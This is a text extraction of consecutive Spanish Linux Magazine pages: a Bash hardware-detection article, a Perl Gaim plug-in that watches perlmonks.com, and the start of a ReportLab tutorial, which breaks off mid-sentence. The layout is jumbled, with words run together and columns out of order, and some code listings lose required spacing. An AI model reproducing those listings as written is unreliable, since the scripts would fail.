Detección de Hardware PCI y USB basado en Bash

EL DESCUBRIMIENTO

Detección de Hardware • PRÁCTICO

49Número 13W W W . L I N U X - M A G A Z I N E . E S 49

Si uno está trabajando con una dis-

tribución distinta a las principales

o si estamos compilando nuestro

propio sistema Linux, ya sea un Linux

embebido, un sistema de rescate o sim-

plemente una distribución hágaselo-uno-

mismo, tendremos que solucionar el pro-

blema de encontrar los módulos del ker-

nel correctos para el hardware. Armado

con algún conocimiento básico, se puede

utilizar casi cualquier lenguaje de progra-

mación para crear un sistema útil para

detectar el hardware PCI o USB. En este

artículo se mostrará un método para obte-

ner información sobre los dispositivos

instalados en el sistema Linux con un

script Bash. Haciendo uso de sysfs o de

proc, se puede encontrar toda la informa-

ción que se desee sobre el fabricante, el

dispositivo y la clase de dispositivo con

tan sólo preguntarle al kernel.

Las Interfaces del KernelLa detección de hardware es fácil si el ker-

nel soporta sysfs. Al contrario que la inter-

faz proc, la interfaz sysfs no precisa de la

invocación de aplicaciones externas o el

procesado de ficheros binarios para la

obtención del fabricante y de la ID del dis-

positivo. Es decir, proc proporciona la

misma información, lo que significa que

la detección del hardware funcionará

igual de bien independientemente de la

interfaz del kernel que se desee usar.

sysfs utiliza un enlace simbólico con la

ID PCI para cada dispositivo PCI bajo

/sys/bus/pci/devices; el enlace apunta al

dispositivo apropiado en el directorio

/sys/devices/pci*. El acceso por

/proc/bus/pci/devices es más sencillo, ya

que es donde todos los dispositivos PCI

residen para todos los buses PCI; por el

contrario, /sys/devices posee un directorio

separado con los dispositivos para cada

bus PCI. El directorio de dispositivos con-

tiene la información requerida para la

detección del hardware: vendor propor-

ciona la ID del fabricante en formato

hexadecimal, device proporciona la ID del

producto y class la clase del dispositivo

basado en [3]. El Listado 1 es un extracto

del script Bash pcidetect, que podrá

encontrar en la página web de Linux

Magazine [1]. Las líneas desde la 11 a la

16 del Listado 1 analizan los ficheros

requeridos para identificar el hardware de

la estructura sysfs.

Los pseudo-ficheros de dispositivos

ordenados por la controladora PCI se lis-

tan bajo /proc/bus/pci. Cada fichero de

dispositivo contiene un conjunto comple-

to de datos en un formato compacto; sysfs

presenta esta información individualmen-

te. Las líneas de la 18 a la 20 del Listado 1

contienen la parte de detección del hard-

ware PCI de [1] que identifica el fabrican-

te hardware, las IDs de los productos y los

códigos de las clases.

La Base de Datos PCI IDCon la idea de mostrar los nombres de los

fabricantes y de los dispositivos en texto

legible, el script de detección de hardware

referencia a la base de datos PCI ID en

[2], siguiendo la misma solución que

Si se necesita una respuesta

rápida sobre las tripas de un

ordenador, podemos usar un

script Bash para obtener un

inventario del hardware de un

sistema Linux.

POR MIRKO DÖLLE

Page 50: Linux Magazine - Edición en Castellano, Nº 13

adopta el kernel de Linux. La base de

datos PCI es fácil de interpretar; el

Listado 2 muestra la parte relevante del

script de detección de hardware.

La variable PCIIDCMD contiene el

comando para interpretar la base de datos

PCI ID, que es simplemente un cat del

fichero o una llamada a wget. La estructu-

ra de la base de datos es sencilla; cada

entrada para un fabricante o un dispositi-

vo ocupa una línea con los campos sepa-

rados por tabuladores. Para procesar una

línea completa, la línea 1 del Listado 2

establece la variable de separación IFS a

$‘\n’, además separa el bucle for al final

de la línea. La línea 3 escribe un tabula-

dor en la variable IFS para separar los

campos y la línea 4 maneja la separación.

La consulta en la línea 8, que averigua

si la columna 4 contiene un cero, es por

seguridad. Cualquiera puede escribir en la

base de datos PCI y las nuevas entradas

se identifican por un uno en la columna

4. El ID del fabricante, en las entradas de

los fabricantes o en las combinadas de

fabricante e ID de dispositivo, en las

entradas de dispositivos, son almacena-

das por las líneas 9 y 13 junto con la des-

cripción.

Nombres de VariablesVariablesPara Bash, uno de los retos más importan-

tes es el de almacenar en la base de datos

PCI ID. Tanto el ID del fabricante como el

del dispositivo son enteros de 16 bits,

pero Bash sólo soporta índices de 16 bits

para los arrays, arrays unidimensionales.

No hay soporte para las tablas hash. La

solución para este problema se encuentra

en los nombres variables de las variables.

Como se muestra en las líneas 9 y 13, los

nombres se pueden asignar como sigue:

declare prefix${name}=$value

Para las entradas del fabricante, las varia-

bles reciben el prefijo v de “fabricante”,

seguido por el ID del fabricante como un

número de cuatro dígitos hexadecimal;

las entradas para los dispositivos empie-

zan por d, seguido por el ID del fabricante

y del dispositivo. Esta solución proporcio-

na una ventaja sobre las soluciones basa-

das en grepen en las que tan sólo hay que

analizar la base de datos PCI ID una vez

para cada dispositivo. Por el lado negati-

vo, el requerimiento de memoria es enor-

me, del orden de 8 a 9 Mbytes; además, el

ordenador puede tardar un minuto en eje-

cutar el script. Hay diversas formas de

optimizar la demanda de recursos.

Identificación de MódulosUsando una solución similar a la que se

ha usado con la base de datos PCI ID,

ahora se debe procesar el fichero modu-

les.pcimap para el kernel actual. El fichero

contiene una lista de todos los módulos

del kernel y de los dispositivos que sopor-

ta en la forma de ID de fabricante y de dis-

positivo y el código de clase para los con-

troladores genéricos como son los contro-

ladores de sonido o Firewire. El Listado 3

muestra el segmento de código que proce-

sa modules.pcimap y almacena los resulta-

dos en nombres de variables variables, tal

como se hizo con la base de datos PCI ID.

PRÁCTICO • Detección de Hardware

50 Número 13 W W W . L I N U X - M A G A Z I N E . E S

01 IFS="${Newline}"

02 for z in `eval ${PCIIDCMD}`;do

03 IFS="${Tab}"

04 set -- $z

05

06 case "$1" in

07 v)

08 if [ "$4" = "0" ]; then

09 declare v${2}=$3

10 fi

11 ;;

12 d)

13 declare d${2}=$3

14 ;;

15 esac

16 done

Listado 2: Procesando labase de datos PCI ID

01 IFS="${Newline}"

02 for z in `cat $PCIMAP`; do

03 IFS=" "

04 set -- $z

05

06 if [ "$2" = "0xffffffff" -a

07 "$3" = "0xffffffff" ]; then

08 id="c${6:4:4}"

09 elif [ "$3" = "0xffffffff"];

then

10 id="m${2:6}"

11 else

12 id="m${2:6}${3:6}"

13 fi

14

15 if [ -z "${!id}" ]; then

16 declare ${id}="$1"

17 else

18 declare

${id}="${!id}${Tab}${1}"

19 fi

20 done

Listado 3: Identificar losMódulos del Kernel

01 IFS="${Newline}"

02 for z in `cat $SYSTEMMAP`; do

03 IFS="${Tab} "

04 set -- $z

05

06 if [ "${3:0:12}" = "__

07 devicestr_" ]; then

08 IFS="_"

09 set -- $3

10 declare k${4}=1

11 fi

12 done

Listado 4: Análisis delSystem.map

01 if [ -e /sys/bus/pci/devices];

then

02

PCIDevices=/sys/bus/pci/device

s/*

03 Method="sysfs"

04 elif [ -e /proc/bus/pci ];then

05 PCIDevices=/proc/bus/pci/??/*

06 Method="proc"

07 fi

08

09 for device in $PCIDevices; do

10 if [ "$Method" = "sysfs"

];then

11 read Vendor < ${device}/vendor

12 Vendor=${Vendor:2:4}

13 read Device < ${device}/device

14 Device=${Device:2:4}

15 read Class < ${device}/class

16 Class=${Class:2:4}

17 elif [ "$Method" = "proc"

];then

18 Vendor=`hexdump -s 0 -n 2 -e

'1/2 "%04x"' $device`

19 Device=`hexdump -s 2 -n 2 -e

'1/2 "%04x"' $device`

20 Class=`hexdump -s 10 -n 2 -e

'1/2 "%04x"' $device`

21 fi

Listado 1: Evaluando PCIIDs

Page 51: Linux Magazine - Edición en Castellano, Nº 13

La funcionalidad proporcionada

por el Listado 3 es la misma que la

funcionalidad proporcionada por el

Listado 2, con la excepción de que

los ficheros de datos individuales

están separados por blancos en vez

de por tabuladores. La evaluación del

código de la clase en la línea 6 del

Listado 3, si la ID del fabricante y del

dispositivo tienen un valor de -1, es

otra función especial del script. La

línea 8 proporciona una solución res-

ponsable para manejar los controla-

dores genéricos.

La consulta de la línea 14 contiene

una construcción que rara vez se ve,

${!id}. Esta construcción es el valor

de retorno para la variable con el

nombre de la variable, si las llaves

van seguidas por un signo de excla-

mación, Bash interpreta cualquier

carácter siguiente como valores

variables que deben usarse como el

valor de la variable para la expresión

entera. Si se almacena el valor 3c59x en

la variable id, ${!id} devuelve el conte-

nido de la variable 3c59x; dicho de otro

modo, ${!id} se escribe como

${3c59cx}.

Dentro del KernelPara descubrir qué dispositivo PCI carece

de controlador, el script de detección de

hardware necesita descubrir qué controla-

dores han sido compilados con el kernel.

Para ello, el script usa el fichero

System.map: cada controlador añade un

símbolo al kernel basado en el siguiente

patrón:

__devicestr_vendor-/device-id

El Listado 4 muestra el segmento de

código que analiza el fichero

System.map y almacena los resultados

en variables con nombres variables. La

única gran diferencia entre los Listados 2

y 3 está en que las entradas simbólicas

del listado 4 están separadas por _ y se

almacena un 1 por cada dispositivo

soportado.

Ahora que ya se tienen almacenados el

ID del fabricante y del dispositivo, los

módulos del kernel y sus responsabilida-

des y los dispositivos con soporte directo

del kernel, todo lo que se necesita hacer

es proporcionarle los resultados al usua-

rio (Figura 1) en el Listado 5 (que es una

continuación del Listado 1).

En las líneas 1 a 6 del Listado 5, los

nombres de las variables se concatenan

para identificar las ID del fabricante y

de los dispositivos, los módulos reque-

ridos, módulos genéricos, los soporta-

dos por el kernel y los módulos para

cada clase de dispositivo; el resto

del Listado 5 no tiene nada de espe-

cial, ya que simplemente usa los

nombres de variables variables para

referenciar las variables con los

módulos del kernel o las descripcio-

nes de los dispositivos y les muestra

el resultado. La línea 10 podría

parecer algo más compleja a simple

vista; aquí es donde el script com-

prueba si hay una entrada para el

dispositivo en los módulos regula-

res del kernel, en los módulos espe-

cíficos del fabricante o en las clases

de dispositivos.

USB y FirewireLa detección de hardware para los

dispositivos USB no requiere mayo-

res cambios con respecto al script

PCI. A excepción de la posible

mayor complejidad del formato del

listado USB ID, que hace que la

separación sea más compleja, el

script de detección USB de [1] simple-

mente analiza los diferentes pseudofi-

cheros /sys y /proc. Incluso la detec-

ción del hardware Firewire sigue el

mismo patrón, aunque este artículo no

ofrece un script específicamente dise-

ñado para la detección de hardware

Firewire.

Un listado simple de los dispositivos

soportados y sus módulos del kernel es

el primer paso para obtener un mayor

entendimiento de un router o de un sis-

tema Linux embebido. Con tan sólo unos

pequeños cambios, tales como reempla-

zar las referencias a las bases de datos

PCI ID y USB ID y la invocación automá-

tica de modprobe, en vez de sacar los

módulos del kernel, el script de detec-

ción de hardware podría fácilmente ser

usado como script de comienzo para la

carga de los módulos del kernel requeri-

dos para arrancar el sistema. �

Detección de Hardware • PRÁCTICO

51Número 13W W W . L I N U X - M A G A Z I N E . E S

Figura 1: La detección automática de hardware no es

algo reservado para los gurús. El kernel proporciona

toda la información de los dispositivos que necesita

y un pequeño script manejará el proceso. Los deta-

lles del fabricante y la información del dispositivo

están disponible en la base de datos PCI ID.

[1] Scripts de detección de hardware

para PCI y USB: http://www.

linux-magazine.es/Magazine/

Downloads/13

[2] Base de Datos PCI ID: http://pciids.sf.

net/pci.db

[3] Ficheros cabecera PCI con las defini-

ciones del vendedor, dispositivos y

clases: http://www.pcidatabase.com/

pci_c_header.php

RECURSOS

01 v="v${Vendor}"

02 d="d${Vendor}${Device}"

03 m="m${Vendor}${Device}"

04 g="m${Vendor}"

05 k="k${Vendor}${Device}"

06 c="c${Class}"

07

08 echo "Proveedor:

${!v}${Tab}[0x${Vendor}]"

09 echo "Dispositivo:

${!d}${Tab}[0x${Device}]"

10 if [ -n "${!m}" -o -n "${!g}"

-o -n "${!c}" ]; then

11 set -- ${!m} ${!g} ${!c}

12 if [ "$#" -gt "1" ]; then

13 echo "Módulos Kernel: $*"

14 else

15 echo "Mçodulo Kernel: $1"

16 fi

17 elif [ -n "${!k}" ]; then

18 echo "Soportado por kernel"

19 else

20 echo "No suportado"

21 fi

22 echo

23 done

Listado 5: Salida

Page 52: Linux Magazine - Edición en Castellano, Nº 13

Seguir las news de perlmonks.com con un plug-in para Gaim

EN BUSCA DE LA SABIDURÍA

El proyecto Gaim proporciona un cliente de mensajería instantánea

que soporta un gran número de protocolos. En este artículo veremos

cómo ampliar Gaim con plug-ins en Perl. POR MICHAEL SCHILLI

Aquellos que visiten por pri-mera vez perlmonks.com sefrotarán los ojos al compro-

bar cómo hackers de primera líneaen Perl se prestan a contestarhasta la duda más tonta de algúnnovato. La razón de esto es que lacomunidad asigna puntos XP (deexperiencia) a las mejores res-puestas. Cuantos más XP tenga-mos más alto nos clasificaremos

en el ranking, desde el nivel nova-to, pasando por monje y llegando

poco a poco al status de exper-to.

El Primero dela ClaseDebido a la dinámi-ca deperlmonks.com, laprimera personaque acierta a res-ponder adecuada-mente una preguntaconsigue más XP. Enlugar de estar verifi-cando una y otravez la página Web,es más correctousar un script quenos avise de lallegada de unanueva pregunta.

El scriptpmwatcher.pl

que se descri-be en el pre-sente artí-culo cap-tura las

Newest

Nodes de perlmonks.com a intervalosregulares, lleva la cuenta de las preguntasanteriores y envía un aviso por mensaje-ría instantánea cuando detecta noveda-des.

Utiliza un método algo desconcertante.En lugar de invocar a un cliente de men-sajería instantánea para que reenvíe unmensaje, es el propio script el que funcio-na como un plug-in del cliente de mensa-jería. La aplicación madre, Gaim, llama alscript a intervalos regulares y mantiene elcontrol sobre el plug-in. Ésta captura lasúltimas preguntas aparecidas y envía elmensaje oportuno al usuario a través dela interfaz de Gaim.

Trabajo UrgenteObviamente, el plug-in de Gaim no tienetiempo que perder. Mientras se ejecuta,Gaim no puede procesar eventos y lainterfaz gráfica queda congelada. Paraevitar males mayores, el plug-in debedevolver el control a Gaim con la mayorceleridad.

Sin embargo, puede llevar algunossegundos descargar el contenido de unapágina Web. Tanto la resolución DNScomo el proceso de recuperación del con-tenido de la página Web requerida pue-den llevar cierto tiempo, durante el cual laCPU debería retornar a otras tareas. Elprobado entorno POE [3] nos facilita justolo que necesitamos. El kernel de POE eje-cuta un solo proceso (y un solo hilo),pero usa multitarea cooperativa entre lastareas concurrentes para asegurar quecada una de ellas es procesada.

Generalmente POE ejecuta su propiokernel, el POE task manager. Sin embar-go, puede ser integrado con facilidad conotros bucles de eventos, como los propor-

DESARROLLO • Perl

52 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Page 53: Linux Magazine - Edición en Castellano, Nº 13

de POE para 10 minutos más tarde. Estoactiva de nuevo un estado http_start pararecabar la página Web otra vez.

El controlador de estado http_ready sepasa como referencia a un array en$_[ARG1]. El primer elemento del array esun objeto del tipo HTTP::Response con elresultado de la petición Web (para másdetalles del inusual método de POE parapasar parámetros, consúltese [3]).

Una Aguja en un PajarPara extraer los enlaces y textos de lasección de preguntas de la página dePerlmonks descargada, la función qparse

de la línea 237 implementa un analiza-dor de HTML. No todos los enlaces de lapágina van a pertenecer a una nuevapregunta, porque existen otras secciones

asociadas con la página, comoDiscussion o Meditations, que

querremos que el scriptpmwatcher.pl ignore.

cionados por Gtk o Perl/Tk. En el escena-rio Gaim, sin embargo, con un plug-in lla-mado por la aplicación principal a inter-valos regulares, debemos pensar demanera diferente. En plugin_load(), lla-mado por Gaim durante el arranque, elplug-in script pmwatcher.pl define las dis-tintas tareas que se ejecutarán más tarde.Antes de que plugin_load() le devuelva elcontrol a Gaim, hace la llamadaGaim::timeout_add($plugin,$UPDA-

TE,\&refresh);, y esto garantiza que Gaimllamará a la función refresh() del plug-inexactamente $UPDATE segundos mástarde. Aquí es donde aparece POE paradar paso a las tareas más urgentes antesde devolver el control a Gaim una vezmás. Por supuesto, no sin antes progra-mar otro evento para asegurar la llamadaa refresh() después de un intervalo espe-cificado, y de esta manera cerrar un bucleinfinito. pmwatcher.pl guarda el objetodel plug-in que se ha pasado aplugin_load() en la variable global $PLU-

GIN para permitir a refresh() que hagauna nueva petición de timeout a Gaim.

Además de esto, las llamadas aGaim::signal_connect de las líneas 61 y 68controlan eventos relacionados con usua-rios de Gaim que se validan o salen.Cuando ocurren estos eventos Gaim saltahasta las funcionesbuddy_signed_on_callback y buddy_sig-

ned_off_callback definidas en el plug-in,que verifican si el nombre de usuariocoincide con el nombre especificado en lalínea 25. Si coincide,buddy_signed_on_callback guarda laestructura del usuario en la variable glo-

bal $BUDDY. La variable se referenciamás tarde cuando se envía un mensaje alusuario.

buddy_signed_on_callback fija el flag$ACTIVE a 1 cuando se loguea este usua-rio especial. Y buddy_signed_off_callback

lo fija a 0 cuando el usuario se marcha. Si$ACTIVE está activo, el plug-in ejecuta unúnico slot de tiempo POE. En caso contra-rio, no ocurre nada en el método del plug-in refresh.

Cada slot de tiempo puede procesarúnicamente una pequeña parte de unapetición. La petición HTTP completapuede requerir unos 20 ciclos refresh(),aunque esto no supone ningún problemaen sí mismo. El único detalle importantees que la CPU se mantiene ejecutándoseal máximo durante el proceso y no espe-rará a eventos externos como respuestasde datos HTTP. POE utilizaPOE::Component::Client::HTTPpara vigilar los detalles concer-nientes a la captura de la pági-na Web. SiPOE::Component::Client::DNSestá instalado, incluso el nom-bre del dominio se resolverá demanera asíncrona en lugar deusar gethostbyname().

El estado inicial de POE definidoen la línea 83, _start, no hace otracosa sino iniciar el siguiente estado,http_start. El método post envía una peti-ción al componentePOE::Component::Client::HTTP, que yaestaba configurado y ejecutándose en elkernel de POE. La llamada al métodospawn de la línea 76 cuida de esto. Elobjeto del cliente HTTP (etiquetado comoua) cambiará el estado a http_ready siem-pre que la respuesta HTTP empiece a car-garse. Antes de que http_start devuelva elcontrol al kernel de POE, pide un timeout

Perl • DESARROLLO

53Número 13W W W . L I N U X - M A G A Z I N E . E S

Figura 1: Los posts nuevos que aparezcan en

Perlmonks se reportan a través de mensaje-

ría instantánea, dándonos la oportunidad de

ganar XP siendo los primeros en ofrecer

ayuda.

Figura 2: Gaim se comunica con el plug-in de Perl, que a su vez controla una máquina de esta-

dos POE.

Page 54: Linux Magazine - Edición en Castellano, Nº 13

elemento <tr> (las filas de la tabla), ypor la cual el bucle interior busca enla-ces <a> cuando llega allí. Comenzandopor el elemento actual, el métodolook_down() de un elemento del árbol,busca hacia abajo los nodos con propie-dades específicas y entrega los elemen-tos coincidentes como una lista. La con-dición _tag => $tagname busca etique-tas con los nombres requeridos. attrna-

me =>$attrvalue verifica si las etique-tas encontradas tienen un atributo conun nombre específico.

El texto del enlace y el valor del atribu-to href se extraen del primer enlaceencontrado, este último se convierte enuna URL absoluta y, finalmente, ambosvalores se añaden al array @questions. Elenlace de la segunda fila (que contiene el

nombre del demandante y sus detalles) seconcentra mediante un par de bucles for

(líneas 274 y 279) con una instrucciónlast que sigue el final del bucle interno.Otro aspecto importante es eliminar elárbol mediante delete() después de anali-zarlo para no malgastar memoria.

Existen analizadores alternativos comoXML::LibXML o XML::XSH. Ambos hacenuso de la poderosa sintaxis XPath. Sinembargo, ambos admiten mal el códigoHTML que esté pobremente escrito, y sesaltan documentos que un navegadorWeb mostraría.

El script aún tiene que llevar la cuentade las preguntas que ya ha procesadopara distinguir las nuevas. Para ello,aprovecha el hecho de quePerlmonks.com les asigna un nodo

HTML::TreeBuilder crea un árbol de ele-mentos HTML a partir de un elementoHTML. qparse() recorre el árbol generadopor HTML::TreeBuilder, dirigiéndose enprimer lugar a un elemento <A> conoci-do, con toc-Questions en su atributoname.

Desde el nodo HTML::Element queencuentra, el método parent() sube unnivel en el árbol, donde el bucle while dela línea 269 se pone a buscar un elemento<table> llamando a right() para mover-se a la derecha en este nivel del árbol. Latabla tiene filas de enlaces con las pregun-tas en la primera columna de la misma yenlaces a los creadores del post en lasegunda columna.

Ésta es la razón por la cual el primerbucle for en la línea 274 se dirige a cada

DESARROLLO • Perl

54 Número 13 W W W . L I N U X - M A G A Z I N E . E S

001 #!/usr/bin/perl -w

002 #############################

003 # pmwatcher - Plugin Gaim

para

004 # controlar perlmonks.com

005 #############################

006 use strict;

007 use Gaim;

008 use HTML::TreeBuilder;

009 use URI::URL;

010 use CGI qw(a);

011 use Cache::FileCache;

012 use POE

013 qw(Component::Client::HTTP);

014 use HTTP::Request::Common;

015

016 our $FETCH_INTERVAL = 600;

017 our $FETCH_URL =

018 "http://perlmonks.com/"

019 . "?node=Newest%20Nodes";

020

021 our $ACTIVE = 0;

022

023 # Call plugins every second

024 our $UPDATE = 1;

025 our $USER = "mikeschilli";

026 our $BUDDY = undef;

027 our $PLUGIN = undef;

028

029 our %PLUGIN_INFO = (

030 perl_api_version => 2,

031 name => "pmwatcher",

032 summary =>

033 "Perlmonks Watch Plugin",

034 version => "1.0",

035 description =>

036 "Reports latest postings "

037 . "on perlmonks.com, "

038 . "Mike Schilli, 2005"

039 . "(m\@perlmeister.com)",

040 load => "plugin_load",

041 );

042

043 our $cache =

044 new Cache::FileCache(

045 {

046 namespace => "pmwatcher",

047 }

048 );

049

050 #############################

051 sub plugin_init {

052 #############################

053 return %PLUGIN_INFO;

054 }

055

056 #############################

057 sub plugin_load {

058 #############################

059 my ($plugin) = @_;

060

061 Gaim::signal_connect(

062 Gaim::BuddyList::handle(),

063 "buddy-signed-on",

064 $plugin,

065 \&buddy_signed_on_callback,

066 );

067

068 Gaim::signal_connect(

069 Gaim::BuddyList::handle(),

070 "buddy-signed-off",

071 $plugin,

072 \&buddy_signed_off_callback,

073 );

074

075 POE::Component::Client::HTTP

076 ->spawn(

077 Alias => "ua",

078 Timeout => 60,

079 );

080

081 POE::Session->create(

082 inline_states => {

083 _start => sub {

084 $poe_kernel->yield(

085 'http_start');

086 },

087

088 http_start => sub {

089 Gaim::debug_info(

090 "pmwatcher",

091 "Fetching $FETCH_URL\n"

092 );

093 $poe_kernel->post(

094 "ua",

095 "request",

096 "http_ready",

097 GET $FETCH_URL);

098 $poe_kernel->delay(

099 'http_start',

100 $FETCH_INTERVAL

101 );

102 },

103

104 http_ready => sub {

105 Gaim::debug_info(

106 "pmwatcher",

107 "http_ready $FETCH_URL\n"

Listado 1: pmwatcher.pl

Page 55: Linux Magazine - Edición en Castellano, Nº 13

numérico ID a cada una, que está ocultoen la URL de la pregunta. Mediante unaexpresión regular extraemos la ID de laURL y la comparamos con el últimonúmero guardado en el objeto persisten-te Cache::FileCache. Una pregunta seconsidera nueva si tiene una ID mayorque el último nodo conocido. A conti-nuación se registra la última ID conocidapara próximas consultas.

La función latest_news() devuelve unarray de mensajes con formato IM para elusuario. Si el array está vacío, no haynada nuevo. Si hay novedades, las líneas179 y 180 referencian a la estructura glo-bal de Gaim en $BUDDY para crear unobjeto de clase Gaim::Conversation::IM.Se llama al método send() de este objetoy se consigue mostrar el mensaje con for-

mato HTML en la ventana IM del usuario,exactamente igual que si lo hubiera envia-do un amigo.

InstalaciónSi no tenemos Gaim instalado, será buenaidea descargar la última versión 1.4.0desde gaim.sourceforge.net. La interfazPerl, Gaim.pm, no está disponible desdeCPAN, pero está incluida con la distribu-ción de Gaim. Tecleamos lo siguiente parainstalar el módulo de Perl Gaim.pm:

cd plugins/perl/common

perl Makefile.PL

make install

Tenemos que crear de manera manual eldirectorio para el plug-in dentro de nues-

tro directorio home tecleando mkdir

~/.gaim/plugins. Todo script Perl ubica-do allí y con la extensión .pl se cargarácomo plug-in de Gaim al arrancar el pro-grama por el cargador Perl de Gaim. Sólotenemos que copiar pmwatcher.pl aldirectorio plugins, hacerlo ejecutable yentonces arrancar Gaim. Podemos selec-cionar Tools->Preferences->Plugins

(Figura 3) para habilitar el plug-in demanera permanente, marcando el cuadrocorrespondiente. Gaim toma los datosmostrados en el cuadro de diálogo desdeel hash %PLUGIN_INFO, como respuestaa plugin_init() (definida en la línea 51 depmwatcher.pl).

Los módulos de CPANHTML::Tree-Builder, URI::URL,Cache::FileCache, POE,

Perl • DESARROLLO

55Número 13W W W . L I N U X - M A G A Z I N E . E S

108 );

109 my $resp = $_[ARG1]->[0];

110 if($resp->is_success()) {

111 pm_update(

112 $resp->content());

113 } else {

114 Gaim::debug_info(

115 "pmwatcher",

116 "Can't fetch " .

117 "$FETCH_URL: " .

118 $resp->message()

119 );

120 }

121 },

122 }

123 );

124

125 Gaim::timeout_add($plugin,

126 $UPDATE, \&refresh);

127 $PLUGIN = $plugin;

128 }

129

130 #############################

131 sub buddy_signed_on_callback{

132 #############################

133 my ($buddy, $data) = @_;

134

135 return if

136 $buddy->get_alias ne $USER;

137 $ACTIVE = 1;

138 $BUDDY = $buddy;

139 }

140

141 #############################

142 sub

143 buddy_signed_off_callback {

144 #############################

145 my ($buddy, $data) = @_;

146

147 return if

148 $buddy->get_alias ne $USER;

149 $ACTIVE = 0;

150 $BUDDY = undef;

151 }

152

153 #############################

154 sub refresh {

155 #############################

156 Gaim::debug_info(

157 "pmwatcher",

158 "Refresh (ACTIVE=$ACTIVE)\n"

159 );

160 if ($ACTIVE) {

161 $poe_kernel

162 ->run_one_timeslice();

163 }

164

165 Gaim::timeout_add($PLUGIN,

166 $UPDATE, \&refresh);

167 }

168

169 #############################

170 sub pm_update {

171 #############################

172 my ($html_text) = @_;

173

174 if (my @nws =

175 latest_news($html_text)) {

176

177 my $c =

178 Gaim::Conversation::IM::new

179 ($BUDDY->get_account(),

180 $BUDDY->get_name()

181 );

182

183 $c->send("$_\n") for @nws;

184 }

185 }

186

187 #############################

188 sub latest_news {

189 #############################

190 my ($html_string) = @_;

191

192 my $start_url =

193 URI::URL->new($FETCH_URL);

194

195 my $max_node;

196

197 my $saved =

198 $cache->get("max-node");

199

200 $saved = 0

201 unless defined $saved;

202

203 my @aimtext = ();

204

205 for my $entry (

206 @{ qparse($html_string) }){

207

208 my ($text, $url) = @$entry;

209

210 my ($node) =

211 $url =~ /(\d+)$/;

212 if ($node > $saved) {

213 Gaim::debug_info(

214 "pmwatcher",

215 "New node $text ($url)");

216

217 $url =

218 a({ href => $url }, $url);

Listado 1: pmwatcher.pl (continuación)

Page 56: Linux Magazine - Edición en Castellano, Nº 13

debería ser sufi-ciente para man-tenernos actuali-zados sin enfadarmucho a la gentedeperlmonks.com.

Podemos arran-car Gaim con laopción -d (dedebug) para mos-trar los mensajeslog de la funciónGaim::debug_info

del script Perl enla salida estándar.Una cosa a teneren cuenta: los

scripts plug-in de Gaim no funcionandesde línea de comandos, y se cerrarántras mostrar un mensaje de error. Sólofuncionan dentro de Gaim.

No debemos olvidar que hay que fijarla variable $USER al nombre de usuarioadecuado. Al loguearnos se activaránlas acciones correspondientes del plug-in. Si el usuario no está logueado, se

hace la llamada al plug-in una vez porsegundo, pero sin activar ninguna peti-ción Web.

Una vez que el usuario se valide através de Gaim (independientementedel servicio), las peticiones Webcomienzan a recabar la informacióndesde perlmonks.com cada 10 minutos.De esta manera, el plug-in mantieneactualizado al aspirante a experto condesafiantes preguntas, para ayudar aaquellos que se encuentran en el cami-no hacia la sabiduría. �

POE::Component::Client::HTTP,POE::Component::Client::DNS yHTTP::Request::Common tienen queinstalarse utilizando una shell deCPAN.

En el propio script, podemos fijar$FETCH_INTERVAL para definir elintervalo entre consultas a la Web. Pordefecto es diez minutos, y esta cifra

DESARROLLO • Perl

56 Número 13 W W W . L I N U X - M A G A Z I N E . E S

[1] Listados de este artículo: http://www.

linux-magazine.es/Magazine/

Downloads/13

[2] Turorial básico de la interfaz Perl de

Gaim: http://gaim.sourceforge.net/api/

perl-howto.html

[3] Michael Schilli, “DJ Training”, Linux

Magazine 08/ 2004, http://www.

linux-magazine.com/issue/45/

Perl_Playlist_selecting.pdf

RECURSOS

219

220 push @aimtext,

221 "<b>$text</b>\n$url";

222 }

223

224 $max_node = $node

225 if !defined $max_node

226 or $max_node < $node;

227 }

228

229 $cache->set("max-node",

230 $max_node)

231 if $saved < $max_node;

232

233 return @aimtext;

234 }

235

236 #############################

237 sub qparse {

238 #############################

239 my ($html_string) = @_;

240

241 my $start_url =

242 URI::URL->new($FETCH_URL);

243

244 my @questions = ();

245

246 my $parser =

247 HTML::TreeBuilder->new();

248

249 my $tree =

250 $parser->parse(

251 $html_string);

252

253 my ($questions) =

254 $tree->look_down(

255 "_tag", "a",

256 "name", "toc-Questions");

257

258 if (!$questions) {

259 Gaim::debug_info(

260 "pmwatcher",

261 "No Questions section"

262 );

263 return undef;

264 }

265

266 my $node =

267 $questions->parent();

268

269 while($node->tag()

270 ne "table") {

271 $node = $node->right();

272 }

273

274 for my $tr (

275 $node->look_down(

276 "_tag", "tr"

277 )) {

278

279 for my $a (

280 $tr->look_down(

281 "_tag", "a"

282 )) {

283 my $href =

284 $a->attr('href');

285 my $text = $a->as_text();

286 my $url =

287 URI::URL->new($href,

288 $start_url);

289

290 push @questions,

291 [ $text, $url->abs() ];

292

293 # Process only the question

294 # not the author's node

295 last;

296 }

297 }

298

299 $tree->delete();

300 return \@questions;

301 }

Listado 1: pmwatcher.pl (continuación)

Figura 3: Habilitamos el nuevo plug-in de Perl.

Page 57: Linux Magazine - Edición en Castellano, Nº 13

Generación de informes profesionales desde Python

REPORTLAB

PDF Report • DESARROLLO

57Número 13W W W . L I N U X - M A G A Z I N E . E S

hay que seguir para instalar y configurar

ReportLab.

El paquete pdfgen es el nivel más bajo

para generar documentos PDF, que se

basa esencialmente en

una secuencia de instruc-

ciones para “dibujar”

cada página del docu-

mento. El objeto que pro-

porciona las operaciones

de dibujo es el Canvas. El

Canvas mide igual que

una hoja de papel blan-

co, con puntos sobre la

misma identificados

mediante coordenadas

cartesianas (X,Y), que

por defecto tienen el ori-

gen (0,0) en la esquina

inferior izquierda de la

página. La coordenada X va hacia la

derecha y la coordenada Y avanza hacia

arriba (ver Figura 1).

Para crear nuestro primer PDF basta

escribir en un fichero, que podemos lla-

mar ejemplo1.py, las siguientes líneas de

código:

from reportlab.pdfgenU

import canvas

c=canvas.Canvas("primer.pdf")

c.drawString(50,500, " MiU

PRIMER PDF")

c.drawString(250,300,U

"Coordenada=(250,300) ")

c.drawString(350,200,U

"(350, 10)")

c.drawString(150,400,U

"Aprendiendo REPORTLAB")

c.showPage()

c.save()

Probamos el programa y vemos que en el

mismo directorio ya se ha creado un fiche-

ro llamado primer.pdf, análogo al que se

muestra en la Figura 2, sin necesidad de

realizar ningún otro paso intermedio.

Mediante la línea from reportlab.pdfgen

import canvas importamos Canvas, utili-

zado para dibujar en el PDF. El comando

La biblioteca ReportLab crea direc-

